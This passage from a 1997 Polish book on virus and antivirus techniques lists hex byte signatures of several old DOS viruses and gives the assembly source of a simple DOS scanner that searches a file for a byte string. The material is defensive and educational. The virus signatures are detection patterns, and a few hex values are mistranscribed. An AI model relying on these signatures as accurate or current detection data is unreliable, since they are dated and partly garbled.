5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4 ; sygnatura wirusa Ethernity
5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21 ; sygnatura wirusa OLG
Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości, zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *. Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur używających znaków globalnych:
BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly
B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02 ; sygnatura wirusa K-CMOS
1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1 ; sygnatura wirusa Geodesic Propagation
33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04 ; sygnatura wirusa 1984
Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja podanych metod).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SKANER v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program sluzy do przeszukiwania plikow w celu znalezienia zadanego ;
; lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr ;
; przy wywolaniu programu. ;
; ;
;----------------------------------------------------------------------------;
; DANE TECHNICZNE ;
;----------------------------------------------------------------------------;
; ;
; _ Wywolanie: SKANER NazwaPliku CiagBajtow ;
; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu ;
; np: ;
; _ CD 21 - szuka wywolania przerwania 21h ;
; _ 'wirus' - szuka slowa "wirus" ;
; _ 'abc'80C5'def'EE F6 - szuka lancucha "abcÃ+def_¸" ;
; _ Maksymalna dlugosc wyszukiwanego ciagu = 128 bajtow. ;
; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow ;
; 65024=512*127=127 sektorow, 512 bajtowych ;
; _ Maksymalna ilosc zliczanych wystapien ciagu = 2^32 razy ;
; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut ;
; na Archive; po skonczeniu programu przywracany jest oryginalny atrybut ;
; _ Procedura obslugi INT 24h <dialog ARIF-Abort,Retry,Ignore,Fail> ;
; zastapiona zostala sekwencja sygnalizujaca blad programowi ;
; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu ;
; (takze zachodzace na siebie) ;
; ;
;----------------------------------------------------------------------------;
;-------------------------------------------------------------------
; Definicje Stalych
;-------------------------------------------------------------------
JUMPS
;stale logiczne
Falsz equ 00h ; \ definicja dwoch stalych logicznych
Prawda equ Falsz+1 ; / 0=Falsz i 1=Prawda
; stale ogolne
RozmiarStosu equ 128 ; rozmiar stosu w slowach dwubajtowych
RozmiarCiagu equ 128 ; rozmiar bufora na wyszukiwany ciag
RozmiarBuforaDanych equ 127*512 ; rozmiar bufora na dane = segment 64K-512
DlugNazwyPliku equ 128 ; dlugosc pelnej nazwy pliku
LiniaPolecen equ 80h ; adres (w PSP) do parametrow
; stale znakowe
ZnakTabulacji equ 09h ; \
ZnakSpacji equ ' ' ; \
ZnakKoncaLinii equ 0Dh ; - stale znakowe
CR equ 0Dh ; /
LF equ 0Ah ; /
; stale bledow
; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie
BlBezBledu equ 00h ; nie ma bledu
BlBrakParametrow equ 01h ; blad : nie ma parametrow
BlBrakNazwyPliku equ 02h ; blad : brak nazwy pliku w parametrach
BlBrakCiagu equ 03h ; blad : brak ciagu do wyszukania
BlZlyCiag equ 04h ; blad : ciag zawiera bledy
BlBrakPlikuNaDysku equ 05h ; blad : brak pliku podanego jako parametr
BlBlad_ARIF equ 06h ; blad : brak dostepu do pliku (int 24h)
BlZlyAtrybutPliku equ 07h ; blad : nie plik tylko etykieta dysku lub katalog
BlBrakDostepuDoPliku equ 08h ; blad : nie mozna zmienic atrybutow na archive
BlNieMogeOtworzyc equ 09h ; blad : nie moge otworzyc pliku
BlNieMogeCzytac equ 0Ah ; blad : nie moge czytac pliku
BlNieMogeZamknac equ 0Bh ; blad : nie moge zamknac pliku
BlPlikZaKrotki equ 0Ch ; blad : plik krotszy niz dlugosc ciagu
; stale drukowania wrostkow
; 7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1]
; 7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1]
DrPlik equ 01h ; stala dla wrostka NazwaPliku
DrCiag equ 02h ; stala dla wrostka Ciag
DrUnIntDec equ 83h ; stala dla wrostka - liczby bez znaku typu Int (dziesietne)
DrUnIntHex equ 84h ; stala dla wrostka - liczby bez znaku typu Int (szesnastkowo)
IleWrostkow equ 04h ; ile maksymalnie wrostkow
; stale DOS-owe
TrybOtwarciaPliku equ 00000000b ; oznacza otwarcie pliku tylko do odczytu
AtReadOnly equ 00000001b ;\
AtHidden equ 00000010b ; \
AtSystem equ 00000100b ; \
AtVolumeID equ 00001000b ; - atrybuty pozycji katalogu
AtDirectory equ 00010000b ; /
AtArchive equ 00100000b ; /
AtAll equ 00111111b ; /
; definicja bufora DTA (Disk Transfer Area)
DTA_STRUC struc ; struktura potrzebna dla funkcji
NieWazne db 21 dup(?) ; 4E i 4F sluzacych do poszukiwania
Atrybut db ? ; pierwszego (4E) i nastepnego (4F)
Czas dw ? ; wystapienia w katalogu (pliku, katalogu,itp.)
Data dw ? ; opisuje wszystkie parametry pliku
Dlugosc dd ? ; zawarte w FAT z wyjatkiem pierwszego numeru JAP
Nazwa db 13 dup(?)
DTA_STRUC ends
;-------------------------------------------------------------------
; Segment Kodu
;-------------------------------------------------------------------
SKANER SEGMENT
ASSUME CS:SKANER, ds:SKANER
Start: ; poczatek programu
Call UstawParametrySystemu ; ustaw DS+nowe (DTA i int 24h)
mov si,Offset TeCopyRight ;
Call DrukLn ; wyswietl komunikat o programie
Call CzytajParametry ; Wez z PSP:80h parametry : Plik+Ciag
jc Blad ; gdy CF=1, to blad
Call SprawdzPlik ; czy plik istnieje ?
jc blad
Call SzukajLancuch ; Szukaj lancucha w pliku
jc Blad
mov NumerBledu,BlBezBledu ; wszystko OK !
Blad: ; skacz tu, jesli jakis blad
Call PrzywrocParametrySystemu ; stare DTA+INT 24h
Call OstatniKomunikat ; zwraca 0=bez bledu lub FF=blad
mov ah, 4Ch ; funkcja powrotu do systemu DOS
int 21h ; wywolaj funkcje
;-------------------------------------------------------------------
OstatniKomunikat proc near ; wyswietla komunikat na koncu programu
pushf ; zachowaj znaczniki, potrzebne pozniej
mov ax,seg SKANER
mov ds,ax ; DS=segment danych
mov al, NumerBledu ; al=numer bledu
cbw ; ax=numer bledu
shl ax,1 ; ax=ax*2, bo kazdy ofset=2 bajty
add ax,Offset OffsetyKomunikatow ; ax=tablica z adresami komunikatow bledow
xchg ax,bx ; bx=tablica z adresami komunikatow bledow
; [bx]=tablica[blad]
mov si,[bx] ; dx=offset do komunikatu o bledzie (lub 'OK')
Call DrukLn ; wypisz komunikat
popf ; przywroc znaczniki
mov al,0 ; w al przekaz kod bledu, 0=bez bledu
sbb al,0 ; jezeli blad, to al=FF
ret
OstatniKomunikat endp
;-------------------------------------------------------------------
SzukajLancuch proc near ; otwiera plik i szuka zadany ciag
; w calym pliku
mov ax,seg ProgDTA ; ustaw ES na segment, do ktorego beda
mov es,ax ; wczytywane dane =127 sektorow
mov ax,word ptr [BufDTA.Dlugosc] ; -DX:AX = dlugosc pliku
mov dx,word ptr [BufDTA.Dlugosc+2] ; /
or dx,dx ; czy b. znacz. czesc dlugosci =0
jnz DlugiPlik ; nie -> dlugosc<>0
cmp ax,DlugoscCiagu ; b. znacz. czesc=0, czy mniej znacz. czesc
jae DlugiPlik ; dlugosci > dlugosc ciagu
mov NumerBledu,BlPlikZaKrotki ; Blad : plik krotszy od ciagu !
jmp short NieMogeOtworzyc ; wyswietl blad
DlugiPlik:
mov si,offset TeSzukamCiagu ; wyswietl informacje o szukaniu
Call DrukLn ; lancuchu w pliku
mov NumerBledu,BlNieMogeOtworzyc ; ewentualny numer bledu
mov dx,Offset NazwaPliku ; nazwa pliku w DS:DX, tryb dostepu w AL
mov ax,3D00h+TrybOtwarciaPliku ; funkcja DOS - otworz plik
int 21h ; DOS : otworz plik
jc NieMogeOtworzyc ; CF=1 -> blad
xchg ax,bx ; BX=uchwyt pliku
Call CzytajSzukaj ; szukaj lancucha w calym pliku
jc NieMogeOtworzyc
mov ah,3Eh ; zamknij plik
int 21h ;
mov ax,word ptr [IleZnalezionych] ; wyswietl, ile razy ciag
mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku
mov si, offset TeZnalazlem
or dx,dx ; \ sprawdz, czy przynajmniej
jnz CosZnalazl ; \ raz, jak ani razu to
or ax,ax ; / inny komunikat
jnz CosZnalazl ; /
mov si, offset TeNieZnalazlem
CosZnalazl:
Call DrukLn ; wyswietl komunikat spod DS:SI
clc ; nie ma bledu
NieMogeOtworzyc:
ret ; powrot z procedury
SzukajLancuch endp
;-------------------------------------------------------------------
CzytajSzukaj proc near ; czytaj w pliku i szukaj lancuch
; na wejsciu numer pliku w BX
xor ax,ax ; \
mov word ptr [IleZnalezionych] ,ax ; \
mov word ptr [IleZnalezionych+2],ax ; - wyzeruj zmienne
mov word ptr [AdresCzytania],ax ; /
mov word ptr [AdresCzytania+2],ax ; /
mov NumerBledu,BlNieMogeCzytac ; ewent. blad
xor bp,bp ; BP oznacza odstep od poczatku bufora,
; pod ktory wczytujemy dane, na poczatku=0
dec DlugoscCiagu ; zmniejsz o 1 dlugosc ciagu potrzebne
; w pozniejszej operacji porownania
cld ; w oper. lancuchowych INC(SI,DI)
CzytajDoBufora: ; petla glowna
push ds ; zachowaj DS na stosie
mov ax,es
mov ds,ax ; DS=ES=segment na dane z pliku
mov cx,RozmiarBuforaDanych ; ile czytac danych
mov dx,offset BuforDanych ; DS:DX = tu wczytuj dane
add dx,bp ; dodaj dlug. danych, ktore zostaly z poprz. odczytu
mov ah,3Fh ; DOS : funkcja czytania
int 21h ; DOS : wykonaj funkcje
pop ds ; przywroc DS
jc NieMogeCzytac ; gdy CF=1, to blad
add word ptr [AdresCzytania],ax ; \dodaj do pozycji odczytu ilosc
adc word ptr [AdresCzytania+2],0 ; /odczytanaych bajtow
mov [Przeczytane],ax
add ax,bp ; \do ilosci odczytanych bajtow dodaj dlugosc danych
; /pozostalych z poprzedniego odczytu
cmp ax,DlugoscCiagu ; \ ax=dlugosc danych do porownania
jb KoniecPliku ; - jesli mniej niz ciag, to nie trzeba porownywac
; / bo i tak ciag sie nie znajdzie
xchg ax,cx ; cx=dlugosc danych do porownania
push cx ; zachowaj do pozniejszego porownania
mov di,offset BuforDanych ; poczatek danych
SzukajPierwszej:
mov si,Offset Ciag ; ofset do wyszukiwanego ciagu
lodsb ; al=pierwsza litera ciagu, INC(SI)
repnz scasb ; szukaj, az znajdzie w danych pierwsza litere
jnz NieMaPierwszej ; jesli nie znalazl, to czytaj dalej z pliku
cmp cx,DlugoscCiagu ; czy wystarczy danych w buforze do porownania ?
jae PorownajCaly ; jest co najmniej tyle lub wiecej to OK
inc cx ; - za malo danych
dec di ; - cofnij DI,CX na poprzednie wartosci
mov si,di ; - skopiuj koncowke bufora na poczatek
mov di,offset BuforDanych ; - zachowaj w BP dlugosc tej koncowki
mov bp,cx ; - w nastepnym odczycie dane wczytane
rep movs byte ptr es:[di],es:[si] ; - umieszczone beda za ta koncowka
jmp short NieMaPierwszej ; - a porownywanie sie powtorzy, ale teraz beda dane
PorownajCaly: ; - do porownania, po skoku czytaj dalej dane
push cx ;
push di ; zachowaj aktualna pozycje w buforze i licznik
mov cx,DlugoscCiagu ; dokladniej : dlugosc ciagu-1 bo nie musimy porownywac
; pierwszej litery, ktora juz byla sprawdzona
jcxz JednoLiterowy ; jesli CX=0, to ciag byl jednoliterowy
rep cmpsb ; porownaj cx bajtow
jne NieMaLancucha ; jesli ZF=0, nie znalazl ciagu
JednoLiterowy:
mov ax,word ptr [AdresCzytania] ; DX:AX=32 bitowa pozycja odczytu pliku
mov dx,word ptr [AdresCzytania+2]
sub ax,[Przeczytane]
sbb dx,0
sub ax,bp
sbb dx,0
pop di ; przywroc odleglosc od poczatku bufora
push di ; zachowaj di
dec di ; zmniejsz wskaznik, zeby wskazywal na pierwsza litere
add ax,di
adc dx,0 ; dodawanie 32 bitowe
; DX:AX = adres fizyczny wzgledem pocz. pliku
mov word ptr [AdresZnalezienia],ax ; -zapamietaj ten adres w zmiennej, bo procedura
mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z ofsetu do zmiennej, zeby ja wyswietlic
mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl
Call DrukLn ; /adres : wyswietl szesnastkowo i dziesiatkowo
add word ptr [IleZnalezionych],1 ; -zwieksz 32 bitowy licznik wystapien
adc word ptr [IleZnalezionych+2],0 ; /dodaj ewentualne przeniesienie z 15 na 16 bit
NieMaLancucha:
pop di ;
pop cx ; przywroc aktualna pozycje w buforze+licznik
jcxz NieMaPierwszej ; czy juz caly bufor pusty ?
; xor bp,bp ; zeruj dlugosc koncowki
jmp short SzukajPierwszej ; skocz i szukaj nastepnego wystapienia
NieMaPierwszej:
pop ax ; zdejmij ilosc odczytanych danych ze stosu
cmp ax,RozmiarBuforaDanych ; i porownaj, czy tyle ile bylo wczytywanych
jb KoniecPliku ; jesli nie tyle samo, to koniec pliku
; jesli tyle samo, to czytaj dalej
jmp CzytajDoBufora ; skocz i czytaj dalej dane
KoniecPliku: ; dane sie skonczyly
clc ; nie ma bledu
NieMogeCzytac:
ret ; wroc z procedury
CzytajSzukaj endp
;-------------------------------------------------------------------
PrzywrocParametrySystemu proc near ; przywraca stare adresy DTA+Int 24h
; i ewentualnie atrybuty pliku
; (jezeli sytemowy, ukryty)
pushf ; zachowaj flagi z ew. bledem
cmp ZmienAtrPliku,Prawda ; czy przywrocic atrybut ?
jne NiePrzywracajAtrybutu ; skocz jesli nie
mov ax,4301h ; DOS: funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr. pliku
xor ch,ch ; ch=0
mov cl,[BufDTA.Atrybut] ; cx=stare atrybuty
mov dx,Offset NazwaPliku ; DS:DX =nazwa pliku
int 21h ; DOS : zmien atrybuty
NiePrzywracajAtrybutu:
push ds ; zachowaj segment danych
push ds ; 2 razy -> na pozniej
lds dx,dword ptr [StareI24Ofs] ; przywroc stara obsluge bledow
mov ax,2524h ; ustaw Int 24h
int 21h ; funkcja 25h - ustaw wektor (numer w AL)
pop ds ; przywroc segment danych
lds dx,dword ptr [StareDTAOfs] ; przywroc stare DTA
mov ah,1Ah ; funkcja 1Ah - ustaw DTA
int 21h ; wywolaj funkcje
pop ds ; przywroc segment danych
popf ; przywroc znaczniki z ew. bledem
ret ; powrot z procedury
PrzywrocParametrySystemu endp
;-------------------------------------------------------------------
UstawParametrySystemu proc near ; ustaw obsluge przerwania 24h
; nowy bufor DTA
mov ax,seg SKANER
mov ds,ax ; DS=segment danych
mov MojAdresPSP,es ; zachowaj PSP
mov ax,3524h ; funkcja wez adres przerwania (num. w AL)
int 21h ; wez stare INT 24h do rejestrow ES:BX
mov StareI24Ofs,bx ; - zachowaj stare przerwanie
mov StareI24Seg,es ; / ES=segment, BX=offset
mov ah,2Fh ; wez stare DTA do rejestrow ES:BX
int 21h
mov StareDTAOfs,bx
mov StareDTASeg,es ; ES=segment, BX=ofset
mov dx,Offset BufDTA
mov ah,1Ah ; ustaw nowe DTA na adres zawarty w DS:DX
int 21h
push ds ; zachowaj DS
push cs ; -DS=CS
pop ds ; /
mov dx,offset NoweInt24 ; ustaw nowe przerwanie 24h
mov ax,2524h ; w DS:DX
int 21h
pop ds ; przywroc DS
ret ; powrot z procedury
UstawParametrySystemu endp
;-------------------------------------------------------------------
NoweInt24 proc near ; procedura obslugi przerwania programowego bledow
; krytycznych wywolywana przez DOS w razie bledu
push ds ; \
push ax ; -zachowaj DS i AX
mov ax,seg SKANER
mov ds,ax ; ds=segment danych
mov NumerBledu,BlBlad_ARIF ; zachowaj numer bledu
pop ax ; \
pop ds ; -przywroc DS i AX
mov al,3 ; pomin blad-program sam zadecyduje co dalej
iret ; nie wywoluj standardowego dialogu ARIF
NoweInt24 endp ; powrot z procedury obslugi przerwania programowego
;-------------------------------------------------------------------
SprawdzPlik proc near ; szukaj plik podany jako parametr
mov ZmienAtrPliku,Falsz ; na razie nie znamy atrybutow, wiec nie trzeba
; przywracac oryginalnych
mov NumerBledu,BlBrakPlikuNaDysku ; ustaw ew. numer bledu
mov ah,4Eh ; funkcja szukaj pozycji katalogu
mov dx,offset NazwaPliku ; DS:DX nazwa pliku
mov cx,AtAll ; w CX podaj atrybut szukanej pozycji
int 21h ; wywolaj funkcje
jc NieMaPliku ; gdy CF=1, to blad
mov si,offset BufDTA ; nie ma bledu , info o pliku jest w buforze DTA
mov al,[BufDTA.Atrybut] ; wez atrybut pliku
mov NumerBledu,BlZlyAtrybutPliku ; ewent. blad
test al,AtVolumeID+AtDirectory ; sprawdz, czy etykieta lub katalog (testuj bity)
stc ; ustaw ewent. blad
jnz NieMaPliku ; skocz, bo etykieta lub dysk
test al,AtHidden+AtSystem ; testuj bity : ukryty lub system
mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad
jz NieZmienAtr ; nie sa ustawione, to skocz dalej
mov ZmienAtrPliku,Prawda ; trzeba zmienic atrybut, zeby mozna bylo odczytac
mov ax,4301h ; funkcja ustaw atrybut pliku
mov cx,AtArchive ; cx=atrybyt jaki ustawic
mov dx,Offset NazwaPliku ; DS:DX nazwa pliku
int 21h ; wywolaj funkcje
jc NieMaPliku ; gdy CF=1, to blad
NieZmienAtr:
clc ; nie ma bledu, plik gotowy do odczytu
NieMaPliku:
ret ; wroc z procedury
SprawdzPlik endp
;-------------------------------------------------------------------
CzytajParametry proc near ; wez parametry z PSP:80h
push ds ; zachowaj DS
mov ax,ds ; ES=DS=segment z danymi
mov es,ax
mov ds,MojAdresPSP ; DS=blok PSP
mov si,LiniaPolecen ; ofset w PSP do linii polecen
mov es:NumerBledu,BlBrakParametrow ; ewentualny numer bledu
cmp byte ptr ds:[si],0 ; dlugosc linii polecen
je BladParametrow ; jezeli pusta, to nie ma parametrow
inc si ; pomin licznik
inc si ; pomin spacje
cld ; INC(SI,DI) w oper. na lancuchach
Call OpuscSpacje ; czytaj az znak <> SPACJA lub TAB
mov es:NumerBledu,BlBrakNazwyPliku ; ewentualny numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?
je BladParametrow ;- jesli tak, to powrot z procedury
mov di, offset NazwaPliku ; es:di : tu zapisz wyniki
Call KopiujDoSpacji ; kopiuj nazwe pliku
mov es:NumerBledu,BlBrakCiagu ; ewentualny numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?
je BladParametrow ;- jesli tak, to powrot z procedury
xor al,al ; plik ASCIIZ, wiec dodaj zero
stosb
Call OpuscSpacje ; czytaj az znak <>SPACJA lub TAB
cmp al,ZnakKoncaLinii ; czy koniec parametrow
je BladParametrow ; jesli tak, to blad
mov es:NumerBledu,BlZlyCiag ; ewentualny numer bledu
mov di, offset Ciag ; es:di : tu zapisz ciag
Call KopiujCiagDoKonca ; kopiuj parametr : ciag
jc BladParametrow ; jesli TAK, to blad
mov ax,di
sub ax,offset Ciag
jz BladParametrow ; jesli TAK, to lancuch pusty
mov es:DlugoscCiagu ,ax ; - zachowaj dlugosc ciagu
mov es:AbsDlugoscCiagu ,ax ; - zachowaj 2-i raz dlugosc ciagu
clc ; nie ma bledu
jmp short $+3 ; skocz i pomin rozkaz STC
BladParametrow:
stc ; jest blad
pop ds
ret ; wroc z procedury
CzytajParametry endp
;-------------------------------------------------------------------
OpuscSpacje proc near
lodsb ; czytaj znak z ds:[si], inc si
cmp al,ZnakSpacji ;\
je OpuscSpacje ; \ czy spacja lub znak tabulacji ?
cmp al,ZnakTabulacji ; / jezeli tak, to czytaj nastepny znak
je OpuscSpacje ;/
dec si ; zmniejsz wskaznik na poprzedni znak
ret ; powroc z procedury
OpuscSpacje endp
;-------------------------------------------------------------------
KopiujDoSpacji proc near
KopiujZnak:
lodsb ; czytaj znak z ds:[si], inc si
cmp al,ZnakSpacji ;\
je NieKopiuj ; \ czy spacja lub znak tabulacji
cmp al,ZnakTabulacji ; \lub koniec linii polecen
je NieKopiuj ; /jezeli tak, to koncz kopiowanie
cmp al,ZnakKoncaLinii ; /
je NieKopiuj ;/
stosb ; skopiuj znak
jmp short KopiujZnak ; skocz i wez nastepny znak
NieKopiuj:
dec si ; zmniejsz wskaznik na poprzedni znak
ret ; powroc z procedury
KopiujDoSpacji endp
;-------------------------------------------------------------------
KopiujCiagDoKonca proc
Pa_Nic = 00
Pa_Apostrof = 01
mov bl,Pa_Nic ; nie bylo znaku specjalnego
mov bh,0
KopiujParamZnak:
lodsb ; czytaj znak z ds:[si], inc si
cmp bl,Pa_Apostrof ; czy tekst w apostrofach ?
jne ZwyklyTekst ; NIE - dane heksalne
cmp al,39 ; czy znak apostrofu ?
jne NieKoniecTekstu ; Nie - idz dalej
mov bl,Pa_Nic ; koniec tekstu w apostrofach
jmp KopiujParamZnak ; idz po kolejny znak
NieKoniecTekstu:
stosb ; kopiuj zwykly tekst
jmp KopiujParamZnak ; wez kolejny znak
ZwyklyTekst:
cmp al,39 ; czy apostrof poczatkowy
jne NiePoczatektekstu ; NIE - sprawdzaj dalej
mov bl,Pa_Apostrof ; ustaw flage
jmp KopiujParamZnak ; idz po nastepny znak
NiePoczatektekstu:
cmp al,ZnakKoncaLinii ; \ pomin, gdy znak=CR
je KoniecParamTekstu ; /
cmp al,ZnakSpacji ; \ pomin, gdy znak=spacja
je KopiujParamZnak ; /
cmp al,ZnakTabulacji ; \ pomin, gdy znak=TAB
je KopiujParamZnak ; /
cmp al,'0' ; czy znak >=0 ?
jb KoniecParamTekstuBlad ; < blad
cmp al,'9' ; czy znak 0..9 ?
jbe ToCyfra09 ; TAK - cyfra
and al,0DFh ; 'a'..'z'->'A'..'Z'
cmp al,'A' ; czy znak <'A' ?
jb KoniecParamTekstuBlad ; TAK - blad
cmp al,'F' ; czy znak >'F' ?
ja KoniecParamTekstuBlad ; TAK - blad
; znak '0'..'F'
ToCyfra09:
cmp bh,0 ; czy licznik znakow=0 ?
je ToPierwszyZnak ; TAK - zachowaj znak na pozniej
cmp al,'9' ; czy znak to cyfra ?
jbe ALJest09 ;
sub al,'A'-'0'-10 ; konwertuj na liczbe
ALJest09:
cmp ah,'9' ; czy drugi znak to cyfra ?
jbe AHJest09
sub ah,'A'-'0'-10 ; konwertuj na liczbe
AHJest09:
sub ax,'00' ; \
mov bh,al ; \ konwersja liczby
mov al,16 ; \ heksalnej zapisanej
mul ah ; / jako lancuch, na zwykla
add al,bh ; / liczbe (znak ASCII)
stosb ; / i zapisz znak
mov bh,0 ; licznik znakow znow=0
mov bl,Pa_Nic ; "czyste" wyjscie
jmp KopiujParamZnak ; wez nastepny znak
ToPierwszyZnak:
mov ah,al ; zachowaj pierwszy znak liczby
mov bh,1 ; jest juz jeden znak
jmp KopiujParamZnak ; idz po nastepny znak
KoniecParamTekstu:
cmp bx,Pa_Nic ; czy "czyste" wyjscie ?
je KoniecParamTekstu2 ; jezeli nie, to blad
dec si ; zmniejsz wskaznik na poprzedni znak
KoniecParamTekstuBlad:
stc ; gdy CF=1, to nie ma bledu
jmp $+3 ; przeskocz 'CLC'
KoniecParamTekstu2:
clc ; gdy CF=0, to nie ma bledu
ret ; powrot z procedury
KopiujCiagDoKonca endp
;-------------------------------------------------------------------
DrukLn proc near ; drukowanie tekstu ACSIIZ spod DS:SI
; z przejsciem do nastepnej linii
Call Druk ; wydrukuj tekst
push si ; \
mov si,Offset TeCRLF ; \
Call Druk ; \
pop si ; --- przejdz do nastepnej linii
ret ; powrot z procedury
DrukLn endp
;-------------------------------------------------------------------
Druk proc near ; drukowanie tekstu ACSIIZ spod DS:SI
push ax ; \
push bx ; \
push cx ; \
push si ; --- zachowaj zmieniane rejestry
DrukZnak: ; petla drukowania jednego znaku
cmp si,offset CiagStart ; \
jb ToNieParamtekst ; \ jezeli drukowany jest
cmp si,offset CiagKoniec ; \ w obszarsze lancucha 'CiagBajtow'
jae ToNieParamtekst ; \ to pozwol drukowac kazdy znak
mov cx,AbsDlugoscCiagu ; \
add cx,offset CiagStart ; /
cmp si,cx ; /
jae KoniecDruku ; /
lodsb ; /
jmp short ToParamtekst ; /
ToNieParamtekst:
lodsb ; wez kolejny znak z lancucha
or al,al ; sprawdz, czy ostatni znak ?
jz KoniecDruku ; jesli tak, to wszystko wydrukowane
mov cx,IleWrostkow ; Ile zdefiniowanych wrostkow
mov bx,Offset TablicaWrostkow ; tablica z definicjami
SzukajWrostka: ; -sprawdz, czy al nie oznacza wrostka
cmp ds:[bx],al ; /
jne NastepnyWrostek ; jesli nie, to sprawdz nastepny w tablicy
test al,80h ; czy 7 bit ustawiony ?
jz NormalnyDruk ; nie - to ofset do tekstu
Call ds:[bx+1] ; tak - to procedura konwersji
xor al,al ; zeruj dla pozniejszego porownania
inc si ; - pomin ofset do liczby do konwrsji
inc si ; /
jmp short NastepnyWrostek ; sprawdz nastepny wrostek w tablicy
NormalnyDruk:
push si ; wrostek to tekst spod ofsetu w tablicy
mov si,ds:[bx+1] ; wrostkow
Call Druk ; wyswietl wrostek
pop si
xor al,al ; zeruj dla pozniejszego porownania
NastepnyWrostek:
add bx,3 ; zwieksz index do tablicy wrostkow
loop SzukajWrostka ; powtorz cx razy
or al,al ; czy to byl wrostek (al=0) ?
jz DrukZnak ; jesli tak, to wez nastepny znak
ToParamtekst:
mov ah,02h ; wyprowadz znak na
mov dl,al ; standardowe wyjscie DOSa
int 21h
jmp short DrukZnak ; skocz i wez nastepny znak lancucha
KoniecDruku:
pop si ; --- przywroc zmienione rejestry
pop cx ; /
pop bx ; /
pop ax ; /
ret ; wracaj
Druk endp
;-------------------------------------------------------------------
Bin2HexUnInt32 proc near ; procedura wyswietla 32 bitowa liczbe szesnastkowa
; ofset do liczby znajduje sie w si
push ax ; \
push bx ; \
push dx ; \
push si ; --- zachowaj zmieniane rejestry
mov bx,[si] ; wez ofset do liczby 32 bitowej
mov ax,[bx] ; - wczytaj liczbe do DX:AX
mov dx,[bx+2] ; /
mov si,offset Hex2DecBufor ; ustaw na poczatek bufora
mov bx,offset HexChars ; wez ofset do tablicy z cyframi szesnastkowymi
push ax ; zapamietaj mniej znacz. slowo
mov ax,dx ; najpierw bar. znacz. slowo
Call Bin2HexUnInt16 ; konwertuj liczbe 16 bitowa
pop ax ; przywroc mniej znacz. slowo
Call Bin2HexUnInt16 ; terax mniej znacz. slowo
mov word ptr [si],'h' ; ustaw na koncu znak 'h' i 0
mov si,offset Hex2DecBufor ; - wyswietl liczbe
Call Druk ; /
pop si ; --- przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /
ret ; powrot
Bin2HexUnInt16: ; wewnetrzna procedura wywoluje "zstepujaco"
; kolejne nizsze ranga procedury konwersji
push ax
mov al,ah ; konwertuj b. znacz. czesc AX
Call Bin2HexUnInt8
pop ax ; konwertuj m. znacz. czesc AX
Bin2HexUnInt8: mov ah,al
shr al,1 ; \
shr al,1 ; \ wyizoluj 4 bity (4..7)
shr al,1 ; / al=gorna polowa liczby
shr al,1 ; / szesnastkowej
Call Bin2HexUnInt4 ; konwertuj b. znacz. bity (4..7)
mov al,ah
and al,15 ; wyizoluj 4 bity (0..3)
Bin2HexUnInt4:
xlatb ; al=byte ptr ds:[bx+al]
mov [si],al ; zachowaj znak w buforze
inc si ; zwieksz indeks
ret ; powrot z wen. procedury
Bin2HexUnInt32 endp
;-------------------------------------------------------------------
Bin2DecUnInt32 proc near ; wyswietla liczbe 32 bitowa bez znaku dziesietnie
push ax ; \
push bx ; \
push dx ; \
push si ; --- zachowaj zmieniane rejestry
mov si,[si] ; wez ofset do liczby 32 bitowej
mov ax,[si] ; - wczytaj liczbe do DX:AX
mov dx,[si+2] ; /
mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca
mov byte ptr ds:[si],0 ; utworz ASCIIZ (dodaj zero na koncu)
DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w bx reszta z dzielenia
add bl,'0' ; dodaj ASCII "0"
dec si ; zmniejsz indeks do tablicy
mov byte ptr ds:[si],bl ; zapisz cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest juz 0 ?
Call Druk ; wyswietl lancuch z liczba po konwersji
pop si ; --- przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /
ret ; powrot
Bin2DecUnInt32 endp
;-------------------------------------------------------------------
Dziel32 proc near ; dziel (dx:ax)/bx
push bp ; zachowaj bp
push ax ; zachowaj mniejsza czesc liczby 32 bitowej
mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj dx , dx:ax = > 0:dx
div bx ; podziel (0:dx)/bx
mov bp,ax ; calosc z dzielenia, to wieksza czesc wyniku
pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku
div bx ; dx jest reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w bx reszta z dzielenia
